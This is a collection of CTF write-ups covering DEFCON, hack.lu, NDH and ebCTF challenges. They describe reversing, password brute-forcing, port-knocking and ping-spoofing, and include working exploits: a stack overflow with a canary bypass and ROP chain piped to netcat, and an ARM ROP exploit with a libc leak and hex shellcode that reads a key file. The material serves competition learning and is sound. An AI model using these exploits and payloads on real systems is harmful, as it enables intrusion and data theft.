• # DEFCON2K12 Prequals: gb300 writeup

Written by Franck Michea
2012-06-05 18:29:07

For this challenge, we had an IP, a port and a password. Like most of the other exercices, it was first waiting for the password and then sent us some stuff. Format of the datas was as follow:

 ``` 1 2 3 4 5 6 7 8 9 10 11``` ```DD GOTP ATM sckimmer v0.0000001 Sun Jun -9 20:58:58 4 2 3 1 2 3 1 8 9 9 6 0 7 6 0 7 8 4 0 2 8 0 9 2 7 3 6 8 6 3 1 9 4 4 1 7 User entered: 1 4 8 3 ```

The matrix thing was displayed 4 times with only 3 user inputs (linked to the 3 first matrices). We were asked to enter the right input for the last matrix.

While observing what was sent and trying to answer, one of us noticed that by stacking the matrices and the user inputs, we were generating lists of 4 and 3 values respectively. The user inputs lists could be matched with 4 of the matrices lists. The answer could then be obtained from the last value of the four matched lists. Sadly there was a timeout and it was really difficult to find the right answer in time by sight, so we decided to write a python script.

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66``` ```#! /usr/bin/env python2 import re import sys import socket sckt = socket.create_connection(('140.197.217.85', 10435)) def discard(message): print sckt.recv(len(message) + 1) COLOR = {'c': '\x1b\[\d+;\d+;\d+m'} LINE = re.compile( '^%(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s (\d) %(c)s\$' % COLOR ) UINPUT = re.compile('^%(c)sUser entered: (\d) (\d) (\d) (\d) \$' % COLOR) def get_matrix(matrix): for nb_line in xrange(6): line = sckt.recv(89) if len(line) < 89: line += sckt.recv(89 - len(line)) print line match = LINE.match(line) if match is None: sys.exit('Failed to parse number line.') else: for column in xrange(6): matrix[nb_line * 6 + column].append(int(match.group(1 + column))) def get_user_input(user_input): line = sckt.recv(32) print line match = UINPUT.match(line) if match is not None: for x in xrange(4): user_input[x].append(int(match.group(1 + x))) sckt.send('5fd78efc6620f6\n') discard('\x1b[0;37;40m') discard('DD GOTP ATM skimmer v0.0000001') for _ in xrange(5): # [1] matrix = [[] for _ in xrange(36)] user_input = [[] for _ in xrange(4)] for x in xrange(4): if x != 3: discard('Sun Jun-10 20:58:58 2012') discard(' ') get_matrix(matrix) get_user_input(user_input) print matrix print user_input if x != 3: discard(' ') else: res = [0] * 4 for it in xrange(4): inpt = user_input[it] for lst in matrix: if lst[:-1] == inpt: res[it] = lst[-1] break result = '%d %d %d %d\n' % (res[0], res[1], res[2], res[3]) print result, sckt.send(result) ```

After some loops it finally gave something that looked like a menu of a cash machine, the balance of the account, and closed the connection. The balance was the flag: `9238740982570237012935.32`.

[1] `for` here is due to some tests we did to find how many times was necessary to win, but we didn't find it and since we already had the key we moved on after 5 minutes.

• # hack.lu 2013: FluxArchiv Write-up (both parts)

Written by Franck Michea
2013-10-27 23:01:53

For this exercise with two parts (400 and 500 points), we were given too files: a binary named `archiv` and some data named `FluxArchiv.arc`. The two parts involved the same binary.

When running the binary with no options, it displays an usage message containing the different options possible. We have:

• An option to list the files contained in the archive.
• An option to add a file to the archive.
• An option to extract a file from the archive.
• An option to delete a file in the archive.

Every command takes at least the archive name and a password. The last three also take a filename.

If you want to try it, it was dumped here, thanks to Jonathan Salwan.

## Part 1: Find the password

Sooo, the first part of the exercise requires us to find the password of the archive `FluxArchiv.arc` given. We started reversing the binary and noticed a first thing: Awesome, the symbols were not stripped! ... Well actually they were shuffled, which is not that good, but it is not a real problem either. In this write-up, We will always keep the wrong names, but explain what they actually do.

We started following the path in `main` that lists the files and followed the code to understand what is done to the password. This can be easily done by following parsing of the command line arguments.

The first function called on the password argument is incorrectly named `checkHashOfPassword`. It will initialize a global buffer of length `0x14` named `hash_of_password` (correctly) with the SHA-1 digest of the given password. This function is simple.

If we continue to follow the listing option, it then checks that it can `access` the archive file given, `fopen`s it and then calls `encryptDecryptData`, that really only checks the magic number of the archive format, at position `0x0`: `FluxArhiv13`.

If this went OK, it will then call `verifyArchiv`. This function will do the interesting thing for this part. It will check that our password is correct.

It first `fseek`s to offset `0xC`, and then reads `0x14` from the archive: another SHA-1 digest. Then it will fill an internal buffer with a re-ordered version of `hash_of_password`. It will then take this buffer and calculate the SHA-1 digest of it. This digest is compared to the one read from the archive. If it matches, the password is good.

So, in summary, the password is good if `sha1(reorder(sha1(password)))` equals to the `20` bytes at offset `0xC` in the archive.

The subject says that the humans who created the archive were drunk and decided to use a 6 character, upper-case or digit password. That is `2.176.782.336` passwords possible. That looks brute-force worthy.

We first wrote the reordering part (the one that calculates the source index) in python to compute them all. Once done, we decided to write something to brute-force the algorithm. The source code of the brute-forcer can be found here. With 8 threads, it takes 2 minutes and 30-something seconds to go through the whole password space on my i7, and outputs one password: `PWF41L`.

Part 1 solved. For those interested, the archive contains 3 images and one mp3 file. They are not really useful.

## Part 2: Find more!

OK so now that we have the password we can decrypt the data. Yes, indeed, the data is encrypted with RC4, using `hash_of_password` as the key. The decrypt part is in the function `sanitizeFilename`. First interesting thing: it is called a lot, and it always resets RC4. So you can't decipher the whole archive in one shot. Damn, we must understand the format then.

The code is quite simple, but I am honestly bad at reverse engineering, so I decided to take this opportunity to try another approach for once: rewrite the program in C.

The complete source code can be downloaded here. It doesn't contain the whole program but only the parts I needed to understand what the program was doing and how to finish this part.

I started by scrolling the functions randomly and trying to understand the simple ones. One that was really useful was `listAllFilesInArchiv`.

First, we can see in it a pattern we will find a lot: read 8 bytes, decrypt it and reverse it in a value byte per byte. I called this function `read_int` in my C code, it reads a 64-bit integer and switches its endianness.

So the function reads two integers (`a` and`b`) and then starts to do the interesting thing: It will clear both with zeros. Then it clears a field of size `0x10`, and then a field of size `0x60`.

Another pattern we will find often is a loop for `i` from `0` to `b` excluded, seek to `a`, read the integer at that position and use it as next `a`, then clear it and continue. In short, `a` is the offset of the next block in a linked list of blocks, and the first block contains 4 fields, with the second one being the number of blocks. Later we discovered that this is necessary because the last block doesn't begin with an offset set to 0, but to some value to permit calculating its actual size. Here is the C:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23``` ```void listAllFilesInArchiv(FILE* stream, unsigned int off) { // delete_file char ptr[0x8]; uint64_t counter; uint64_t curpos; uint64_t nbblocks; uint64_t nextblock; fseek(stream, off, SEEK_SET); nextblock = read_int(stream); nbblocks = read_int(stream); fseek(stream, off, SEEK_SET); clear_data(stream, 8); clear_data(stream, 8); clear_data(stream, MD5_DIGEST_LENGTH); clear_data(stream, FILENAME_SZ); for (counter = 0; counter < nbblocks; ++counter) { fseek(stream, nextblock * 1040 + 0x20, SEEK_SET); curpos = ftell(stream); nextblock = read_int(stream); fseek(stream, curpos, SEEK_SET); clear_data(stream, 8); } } ```

The second interesting thing about this function is that it is called on delete (we can see it from command parsing). So an interesting thing rises: if a file was added and then deleted, its data is still present in the archive. It is only deleted from the listing and its blocks are considered "free".

The offset given to it comes from `extractFileFromArchiv`. This function starts by seeking to offset `0x20`, so just after the global magic + the SHA-1 for the password. It checks a magic ("FluXL1sT"), then reads an integer and then checks for 8 structures of 128 bytes. This is the index! The integer read, if not null, is a link to the next list of 8 files (still beginning by the magic).

Now we have enough to use my technique to find the unused blocks, but I actually rewrote the complete file listing and extraction to make sure I did it correctly. I then basically logged every block used: all blocks used are 1040 bytes long (this is why we have 8 entries of 128 bytes). I then compared it to the possible list of blocks and just decrypted these blocks. The key was in block at address `0x28a20 + 0x8`:

 ```1 2 3 4 5 6 7``` ```\$ python hacklu2013-fluxarchiv-unused-blocks.py logs Found unused block: 0x28200 Found unused block: 0x28610 Found unused block: 0x28a20 [...] \$ python hacklu2013-fluxarchiv-decrypt.py 0x28a28 0x410 b"[...] alike.\n\n+++The Mentor+++\n\nFlag: D3letinG-1nd3x_F4iL\n\n[...]" ```

Example logs here.

## Conclusion

I didn't finish the second part in time to have the points. I actually used techniques that took a lot of time, and I was quite slow anyway. My goal was not productivity. I took the first part as an opportunity to check that I remembered how to use `pthread` and the second part as a good example to try another technique for reverse engineering I never used before. Although it was a "slow" technique, it really helped me organise my thoughts and test/fetch data (like the offsets of used blocks, even though it was possible without).

It was interesting to see. Next time will be for speed!

• # NDH2K12 Prequals: web3.ndh writeup (port 4005)

Written by Franck Michea and Samuel Chevet
2012-03-25 00:41:00

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16``` ```From: Piotr To: LSE Subject: Another weird link Attachments : web3.ndh Thank you again for these informations! we have just credited your account with \$1700. Our spy thinks that Sciteek staff is aware about the mole inside their building. He is trying to read a private file named "sciteek-private.txt" located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if you are sucessfull, reply with a message entitled "complex remote service". Of course, your efforts will be rewarded with \$2500. Maybe you will find pieces of informations about the mole. Piotr ```

As before, we can easily execute this .ndh file in the VM we have to understand the behavior of the program, but this time we also had an IDA plugin to help us.

Program will reserve `0x200` bytes for the receveid buffer, and setup a canary on the stack at offset `0x200` avoiding stack based buffer overflow. But the canary is always the same value `0xbeef`, this protection will be easy to bypass.

An another protection has been setup on this challenge, NX byte, instead of service 4004, we won't be able to execute code from our buffer. We will use ROP technics, to bypass it.

We figured out an excellent sub function (like in service 4000) "disp_file_content".

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52``` ```ROM:8201 disp_file_content: ROM:8201 PUSH R1 ROM:8204 PUSH R2 ROM:8207 PUSH R3 ROM:820A PUSH R4 ROM:820D PUSH R5 ROM:8210 MOVL R1, 0 ROM:8215 CALL SYSCALL_OPEN ROM:8219 CMPL R0, \$FFFF ROM:821E JNZ file_valid ROM:8221 XOR R0, R0 ROM:8225 POP R5 ROM:8227 POP R4 ROM:8229 POP R3 ROM:822B POP R2 ROM:822D POP R1 ROM:822F RET ROM:8230 ; --------------------------------------------------------------------------- ROM:8230 ROM:8230 file_valid: ; CODE XREF: disp_file_content+1D ROM:8230 MOV R3, R0 ROM:8234 MOVL R1, 0 ROM:8239 MOVL R2, \$2 ROM:823E CALL SYSCALL_FSEEK ROM:8242 MOV R4, R0 ROM:8246 INC R4 ROM:8248 MOV R0, R3 ROM:824C MOVL R1, 0 ROM:8251 MOVL R2, 0 ROM:8256 CALL SYSCALL_FSEEK ROM:825A SUB SP, R4 ROM:825E MOV R5, SP ROM:8262 MOV R0, R3 ROM:8266 MOV R1, SP ROM:826A MOV R2, R4 ROM:826E CALL SYSCALL_READ ROM:8272 ADD R4, R5 ROM:8276 DEC R4 ROM:8278 MOVBT R4, 0 ROM:827C MOV R0, R5 ROM:8280 CALL write_socket ROM:8284 MOVB R0, 1 ROM:8288 INC R4 ROM:828A SUB R4, R5 ROM:828E ADD SP, R4 ROM:8292 POP R5 ROM:8294 POP R4 ROM:8296 POP R3 ROM:8298 POP R2 ROM:829A POP R1 ROM:829C RET ROM:829C ; End of function disp_file_content ```

Before calling this function we have to set R0 correctly to the file required file name ("sciteek-private.txt").

We will use these simple gadgets to change the value of `R0` and quit program correctly:

 ```1 2 3 4 5 6``` ```ROM:80BD POP R0 ROM:80BF RET [...] ROM:838C END ```

Scheme of exploitation looks like:

 `1` ```[file_name] [NULL_PADDING] [POP_R0;RET] [ADDR_BUFF] [disp_file_content] [END] ```

Here is the final exploit :

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14``` ```perl -e 'print "sciteek-private.txt" . "\x00"x493 . "\xef\xbe" . "\xbd\x80" . "\xf4\x7b" . "\x01\x82" . "\x8c\x83"' | nc sciteek.nuitduhack.com 4005 Dear Patrick, We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information. However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business , but one of them contains an archive with an explicit name. We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be. Sincerely, David Markham. ```

• # DEFCON 2013 Quals: BittersWallow - Exploitation (0x41414141) 1

Written by Bruno Pujos and Franck Michea
2013-06-21 22:00:00

 ```1 2``` ```Score 1 Link http://assets-2013.legitbs.net/liabilities/bs ```

This binary was compiled for the ARM architecture, and our goal was to exploit it to get the "key" file on the remote server. The first part of the binary does the setup of all the common things found in pwnables, including:

• opening a socket
• identifying itself as a pre-define user (bitterswallow)
• dropping privileges

The interesting part comes after, in a function called `ff`. The first thing it does is send some text:

 ```1 2``` ```Welcome to the sums. Are you ready? (y/n): ```

And wait for an answer. It then compares it to 'y' or 'Y'. If the answer is different it simply closes the connection. Once this is done we enter a loop where two functions are called.

The first one waits for an input of one byte and then goes into a big switch according to this byte. All the cases but one come back to the same point (`0xa114`) where it waits for another user input which is the length of a future message. The length sent can't be over 0x400. The particular case, triggered with value `0x1a`, doesn't check this and doesn't even ask for any length.

The pseudo C code for this function is :

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29``` ```int get_meta(int fd, int *input, int *value_get) { int choice; int value; long long int size; if (!input || !value_get || !recvdata(fd, &choice, 1)) return 0; *input = choice; switch (choice & 0x3f) { case 0: value = 0x32444d; // Some value? break; // ... case 0x1a: goto last; // ... default: break; } if (!recvdata(fd, &size, 2)) return 0; if (size > 0x400) size = 0x400; last: size = (size << 16) >> 16; *value_get = value; return size; } ```

Then a second function is called. It receives data of the size returned by the first one in a buffer of `0x400`, and then computes a hash (depending on the values chosen in the first function), except for the case `0x1a` which doesn't compute the hash. It then sends this hash and asks if we want do all the loop again.

Here is the pseudo C code for this function :

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32``` ```int compute(int fd, int size, int input, int value_get) { int res_recv; char buf[0x400]; char buf_hash[0x40]; memset(buf, 0, 0x400); memset(buf_hash, 0, 0x40); printf("%x %x %x\n", size, input, value_get); recvdata(fd, buf, size); switch (input & 0x3f) { case 0 : res_recv = ... hash(buf, size, buf_hash); break; ... case 0x1a : res_recv = 0; break; ... default: break; } send_data(fd, buf_hash, res_recv); send_string(fd, "Would you like to sum another? (y/n): "); recvdata(fd, &res_recv, 1); if (res_recv == 'y' || res_recv == 'Y') return 1; else return 0; } ```

In the caller of this function the loop will continue or it will stop. To exploit this function the goal is to change the size that returns the first function being used with the second one. Since the `case 0x1a` doesn't do any check, we will use it to return the false size and then rewrite our stack to use Return-Oriented-Programming.

To rewrite the size we can use the second function that writes on the same part of the stack, the content of size is in the same place than the end of the hash buffer.

So we need to: - do a normal computation that rewrites something at the place of size - do another iteration with the choice 0x1a and rewrite all our stack.

One of the problems that we need to take care of is not to have a value which is too big because we risk to rewrite all of our stack which can make our exploit fail.

 ``` 1 2 3 4 5 6 7 8 9 10 11``` ```_recv("Welcome to the sums.\n") _recv("Are you ready? (y/n): ") _send("y") _send(b"\x32") # case 50 : sha512 _send(b"\x00\x03") # send a size _send("x" * 0x300) # send a value, with this we have a size of 0x7b3 while len(_recv(1024)) == 1024: # pass all the writing pass _send("y") # say yes to do an other one _send(b"\x1a") # case 0x1a : doesn't check the size # Here we can send the data for rewritting our stack ```

At this point we can rewrite our stack but we don't have any address from the libc so we can't do a lot of things. There is no syscall in the binary so we can't do anything with full ROP yet.

The first thing to do is to leak some information on the libc, like an address from the GOT which gives us the information on where libc is mapped. We chose to leak the address of `getpwnam` (but any other function could work).

To leak the address of `getpwnam` we needed to call the `send_data` function (`0x1d9fc`) on the position of the entry for `getpwnam` in the GOT. The first arguments of a function in ARM are given through the registers r0, r1, r2 and R3, so we needed some gadget that takes values from the stack and puts them in the registers that we need. The gadget we used to do this is in `__libc_csu_init`:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12``` ```loc_1E3C4 LDR R3, [R5], #4 MOV R0, R6 ; loc_1E3C8 MOV R1, R7 MOV R2, R8 ADD R4, R4, #1 BLX R3 CMP R4, R10 BNE loc_1E3C4 loc_1E3E4: LDMFD SP!, {R3-R8, R10, PC} ```

If we go to `0x1e3e4` we can put values in registers from r3 to r8, r10 and chose the position of return from our stack. In `0x1e3c8` we can copy the values from r6 to r8 in r0 to r2 (our first arguments) and then call the function stored in r3 and if we put the good value in r4 and r10 we will have our first gadget again. Note that if we need to make a call with some values in registers like r3 (something other than the function address), we can call our first gadget and have these values in the stack too (useful to call mmap).

So we now have everything we need to leak the address from the `libc`. Here is the code we used to do so:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86``` ```import struct import socket import sys HOST = 'bitterswallow.shallweplayaga.me' PORT = 6492 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) def _send(st, end=b''): if isinstance(st, str): st = bytes(st, 'utf-8') st += end print('Send:', repr(st)) return s.send(st) def _recv(l): if isinstance(l, str): l = len(l) r = s.recv(l) if r: print('Recv:', repr(r)) return r def _pack(i): return struct.pack('

Now that we have the address of `getpwnam`, we can leak information from the libc.

At this point you have two possibilities: you can leak all the libc, compute the offset of a function compared to the address of `getpwnam` and call it (ret2libc). The other possibility is to leak part of the libc and find some gadgets in there to finish the exploitation with full ROP. We chose to try and search syscalls in the libc, so the second option.

When leaking the instructions from the libc we look for one particular instruction : a syscall (svc 0, opcode `0x000000ef`)

We find this instruction in `getpwnam` implementation: the syscall was at the offset 428. (This offset changes depending on your libc so you should recompute them if you are not using the exact same libc). The gadget for the syscall is:

 ```1 2 3 4 5 6``` ```SVC 0 B loc_AAA loc_AAA: LDR R0, [SP, 0x14] ADD SP, SP, 0x18 LDMFD SP!, {R4-R10, PC} ```

The gadget for the pop is : :::nasm LDMFD SP!, {R4-R10, PC}

In order to leak the offset we use the following code :

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40``` ```pass_menu() print("Addr: ", addrs) payload = _call_func(SENDDATA_ADDR, SOCKET_FD, _unpack(addrs[:4]), 4096) payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS) _send_bof(payload) _send("y") while len(_recv(1024)) == 1024: pass while len(_recv(1024)) == 1024: pass CHUNK = 1024 r = _recv(CHUNK) res = r while len(r) == CHUNK: r = _recv(CHUNK) res += r _send('y') while len(r) == CHUNK: r = _recv(CHUNK) res += r _send('y') while len(r) == CHUNK: r = _recv(CHUNK) res += r print(' RES:', res[:12]) for i in range(len(res) // 4): opcode = _unpack(res[i * 4:(i + 1) * 4]) if opcode == 0xef000000: # looking for the syscall print('Found syscall opcode at offset:', i * 4) print('Buff:', res[i * 4:(i + 5) * 4]) _send("y") while len(_recv(1024)) == 1024: pass _send("y") while len(_recv(1024)) == 1024: pass ```

Now that we have the offset of our gadget we can ROP. Our goal is to call `mmap` and then to read from our input into the allocated page and finally to execute it.

The following code will do that :

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33``` ```MMAP_BUF_ADDR = 0x13371000 MMAP_SYSCALL = 192 READ_SYSCALL = 3 OFFSET = 428 GETPWNAM_ADDR = _unpack(addrs[:4]) print('getpwnam addr:', hex(GETPWNAM_ADDR)) pass_menu() # jump to pivot addr and put some stuf in the register for the syscall payload = _call_func(PIVOT_ADDR, MMAP_BUF_ADDR, 4096, 7) payload += _pack(0x32) # some flag payload += _pack(0x41424344) * 3 # padding payload += _pack(MMAP_SYSCALL) # the number of the syscall is in r7 payload += _pack(0x41424344) * 2 #padding payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall payload += _pack(0xffffffff) # padding payload += _pack(0) * 12 # padding payload += _pack(PIVOT_ADDR) # return addr # pushing again for an other syscall payload += _call_func(PIVOT_ADDR, SOCKET_FD, MMAP_BUF_ADDR, 4096) payload += _pack(0x41424344) * 4 # padding payload += _pack(READ_SYSCALL) # the number of the syscall payload += _pack(0x41424344) * 2 # padding payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall gadget payload += _pack(0) * 13 # padding payload += _pack(MMAP_BUF_ADDR) # the last return to our shellcode _send_bof(payload) _recv(1024) _send('y') _recv(1024) ```

At this point we only needed to send it the shellcode. We wrote one that was pretty simple :

• open the file "key".
• write the buffer read on the socket.

Here is the final code for sending the shellcode and recv the result :

 ```1 2 3 4 5 6 7 8 9``` ```# sending shellcode. # fd = open("key"); read(fd, addr_in_stack, 255); write(socket_fd, addr_in_stack, 255); shellcode = '0f00a0e1400080e20010a0e30570a0e3000000ef01dc4de201dc4de20d10a' shellcode += '0e1ff20a0e30370a0e3000000ef0400a0e30d10a0e1ff20a0e30470a0e30' shellcode += '00000ef01dc8de201dc8de26b65790000000000' _send(bytes.fromhex(shellcode)) while _recv(1024): pass ```

You can find the complete exploit here.

• # ebCTF 2013: Network challenges: NET100, NET200, NET300

Written by Ivan Delalande, Clement Rouault and Franck Michea
2013-08-04 20:00:00

### NET100: index.php?-s: Post-attack network log analysis

 ```1 2``` ```OMG, Eindbazen got hacked. Can you figure out what this evil hacker did? http://ebctf.nl/files/da021f41e137fa42501586915d677752/net-100.pcap ```

For this first networking exercise, we will analyse network logs of an attack against Eindbazen to find what the attacker could do! We are given a clean pcap of the whole attack.

First thing we can notice, is a long UDP "stream" between the attacker and the target. Just before the attack, a POST was done on the web server hosted by the target. You can find the uploaded php script here. We didn't spend too much time on it since it looked like a "command receiver on UDP", which was enough information to continue analysing the logs.

Apart from the UDP stream, we could notice kerberos and ssh traffic, not that interesting, and a GET from the target to the attacker, of a file named `rootkit.zip`, quite interesting! We fetched the file but it was password protected. Let's continue digging.

Back at the UDP stream, we searched for commands related to rootkit.zip and found this interesting part of the stream where we can see the zip file being unzip'ed. Follows what looks like commands to send the password to unzip command, letter by letter: `alongpassword1234`.

This password unlocked the zip file, in which we found a file flag.txt, containing "Instead of a rootkit we will just give you a flag: `ebCTF{b78dc61ce895a3856f3520e41c07b1be}`".

Done!

### NET200: Who's there

 ```1 2``` ```We found this strange website. http://54.216.81.14/ ```

This website only contains:

 `1` ```112 + 386 + 712 + 1398 + 8771 + 11982 + 15397 + 23984 = 51037 ```

After wondering a while what this addition was supposed to mean (especially since it was wrong and should give the result 62742), we noticed that all these numbers were in the valid port range. That’s when the semantic of this operation struck us: a collection of 8 ports giving a final port, this is exactly the principle of port-knocking.

The idea of this technique is to open a port only for a given client after he knockes to a pre-defined number of ports in the right order, which is only known by the server and the trusted users of the protected service.

So we can execute this first series with a simple netcat:

 ```1 2 3 4 5 6 7 8 9``` ```\$ for port in 112 386 712 1398 8771 11982 15397 23984; do > netcat -v 54.216.81.14 \$port > done netcat: unable to connect to address 54.216.81.14, service 112 netcat: unable to connect to address 54.216.81.14, service 386 [...] netcat: ec2-54-216-81-14.eu-west-1.compute.amazonaws.com (54.216.81.14) 51037 [51037] open So you are knocking me, how about I return the favor? Repeat after me and I will open the last port... ```

Is it knocking us back and expecting we mimic it? We can confirm that with `tcpdump`:

 ``` 1 2 3 4 5 6 7 8 9 10``` ```# tcpdump -n -i eth0 'src host 54.216.81.14' 16:25:22.867635 IP 54.216.81.14.1337 > 163.5.55.17.8112: Flags [S], seq 0, win 8192, length 0 16:25:23.869346 IP 54.216.81.14.1337 > 163.5.55.17.33386: Flags [S], seq 0, win 8192, length 0 16:25:24.874334 IP 54.216.81.14.1337 > 163.5.55.17.14712: Flags [S], seq 0, win 8192, length 0 16:25:25.882108 IP 54.216.81.14.1337 > 163.5.55.17.4398: Flags [S], seq 0, win 8192, length 0 16:25:26.885593 IP 54.216.81.14.1337 > 163.5.55.17.1771: Flags [S], seq 0, win 8192, length 0 16:25:27.889869 IP 54.216.81.14.1337 > 163.5.55.17.52313: Flags [S], seq 0, win 8192, length 0 16:25:28.894443 IP 54.216.81.14.1337 > 163.5.55.17.25697: Flags [S], seq 0, win 8192, length 0 16:25:29.900296 IP 54.216.81.14.1337 > 163.5.55.17.932: Flags [S], seq 0, win 8192, length 0 16:25:30.905643 IP 54.216.81.14.1337 > 163.5.55.17.22222: Flags [S], seq 0, win 8192, length 0 ```

OK, so let’s ping it on these exact same ports in that order. But this time, while the service was rejecting instantly all of our `SYN` TCP packets in the first series with a `RST`, for this new series, it seems to drop half of the packets and to reject the other half with `RST`. Thus, our previous super cool for-loop got stuck in the middle and caused the whole series to fail. So we just changed it to launch the netcat in background and it worked perfectly. This time the 22222 port replied with this message:

 ```1 2 3 4 5 6 7``` ```[Advanced] sequence = 234,781,983,2411,9781,14954,23112,63991 seq_timeout = 15 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT tcpflags = fin,urg,!ack cmd_timeout = 30 stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT ```

We recognized it was a chunk of configuration for the `knockd` daemon, which can be used to setup port-knocking on a UNIX host. It is easy to read, we just have to knock to another series of ports given by the `sequence` option with the appropriate TCP flags, specified by the `tcpflags` option, and we will be given access to the port 32154.

This time, we could not use `netcat` because it does not allow us to specify arbitrary TCP flags, but, since we already had a script ready for the NET300 challenge using Scapy, we also used it for this new series:

 ```1 2 3 4 5``` ```from scapy.all import * ports = [234,781,983,2411,9781,14954,23112,63991] for p in ports: print(send(IP(dst="54.216.81.14")/TCP(dport=p,flags="FU"))) ```

And just connected normally to the final port which gave us the flag of this challenge:

 ```1 2 3``` ```\$ netcat -v 54.216.81.14 32154 netcat: ec2-54-216-81-14.eu-west-1.compute.amazonaws.com (54.216.81.14) 32154 [32154] open ebCTF{32c64f2542ba4566acff750196ca2e13} ```

### NET300: Hop on a plane!

 ```1 2 3``` ```We found this website which uses a location based access control system. Hop on a plane and hit all target zones! http://54.212.115.245/ ```

What we understood was that this service tries to locate us by pinging our IP from three servers located in the US, in Brazil and in Japan and display our approximate location on the map. The goal is to make that location change by delaying the ping replies we send back to these three servers and make it hop in each of the three circles on the map.

A few of us tried to look for ways to do that using `iptables` or the traffic control in the kernel but it was impossible with the first one and it took them a long time with the second one.

Meanwhile, we tried to use the `scapy` Python module to reply to the pings instead of the kernel. We first tried to prevent the kernel from answering, but dropping the ICMP packets with `iptables` didn’t work, apparently because the answering part is lower than `iptables` in the network stack of the Linux kernel in order to make these replies fast. So we decided to disable these replies globally by enabling the `net.ipv4.icmp_echo_ignore_all`.

Then, we wrote the Scapy script to respond to ping requests with fine adjustment of `time.sleep()` before our replies in function of which of the three servers we were replying. This script did work great but the results were really random due to network latency and probably our strange solution of replying to pings in userland. So now we had a plane that randomly wandered all over the map… ok great…

We tried to adjust the `time.sleep` parameter but the result was just too random to be useful. Another problem was that the sleeps accumulated over our replies because `scapy` queues the requests so we were accumulating requests too much and, after a while, were answering with more than one minute of delay.

So to fix these problems, we decided to modify the script to spawn threads for the replies, to avoid the accumulation of sleeps, so we could have big delay time (30 seconds or so) that would allow us to compensate the random network delay and finely tune the delays to reach exactly the appropriate locations. But we first modified the first script to make the delays totally random and launched it in background, just in case…

 ``` 1 2 3 4 5 6 7 8 9 10 11 12``` ```from scapy.all import * import time, random SRC = ["54.212.115.245", "54.232.216.98", "54.250.176.246"] def callback(pkt): if pkt[IP].proto == 1 and pkt[IP].src in SRC: if pkt[IP].src in SRC: time.sleep(random.randint(0,400)/1000.0) send(IP(dst=pkt[IP].src)/ICMP(type=0, id=0, seq=0)/Raw(load=pkt[Raw].load)) sniff(prn=callback, filter="(src host 54.212.115.245 or src host 54.232.216.98 or src host 54.250.176.246) and icmp", store=0) ```

And it worked, before we could finish the new script, the first one made us reach the three circles successfully, giving us the flag: `ebCTF{9bd26cbffa30c0ea32c425df220f06b9}`.